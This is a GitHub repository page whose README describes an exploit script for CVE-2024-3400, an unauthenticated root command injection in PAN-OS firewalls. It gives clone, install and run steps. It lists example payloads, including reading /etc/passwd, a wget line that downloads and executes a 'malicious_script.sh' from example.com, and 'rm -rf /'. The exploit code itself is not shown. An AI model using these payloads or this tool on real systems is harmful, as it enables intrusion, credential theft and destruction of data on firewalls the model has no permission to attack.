ROOT /

History

README.md	Loading last commit info...
exploit.py
requirements.txt

README.md

PAN-OS Firewall Exploit Script

This script is designed to demonstrate the exploitation of vulnerabilities in PAN-OS firewalls. It sends a specially crafted payload to the firewall's API endpoint to execute arbitrary commands. This exploit specifically targets CVE-2024-3400, a command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions. Distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.

Note: Please ensure that you only use this script for legal and ethical purposes, and only on machines that you have permission to test on.

Usage

To use this project, follow these steps:

Clone this repo:

git clone https://github.com/DrewskyDev/CVE-2024-3400

Change directory to the repo:
```
cd CVE-2024-3400
```
Install the required modules:
```
pip install -r requirements.txt
```
Run the python script.
```
python3 exploit.py
```

Follow the prompts to enter the IP address of the vulnerable PAN-OS firewall and the payload to execute.

Example Payloads

List Directory Contents:
```
ls -la
```
Print the contents of a specific file:
```
cat /etc/passwd
```
Print the username of the current user who is logged in to the system:
```
whoami
```

Download a file from the internet (requires wget or curl installed):

wget http://example.com/malicious_script.sh -O /tmp/malicious_script.sh && chmod +x /tmp/malicious_script.sh && /tmp/malicious_script.sh

Be very careful with this one:
```
rm -rf /
```

## Instructions for Secure Usage SSL Certificate Verification To ensure secure communication with the PAN-OS firewall, it's crucial to verify the SSL certificate presented by the server. By default, the script verifies SSL certificates to prevent man-in-the-middle attacks. Disabling SSL certificate verification (verify=False) is strongly discouraged.

Provide Root CA Certificate: If you have the root CA certificate of the PAN-OS firewall server, you can specify its path using the verify parameter in the script (line 18).

Example:

response = requests.post(url, headers=headers, data=data, timeout=5, verify='/path/to/root_CA_certificate.pem')

## References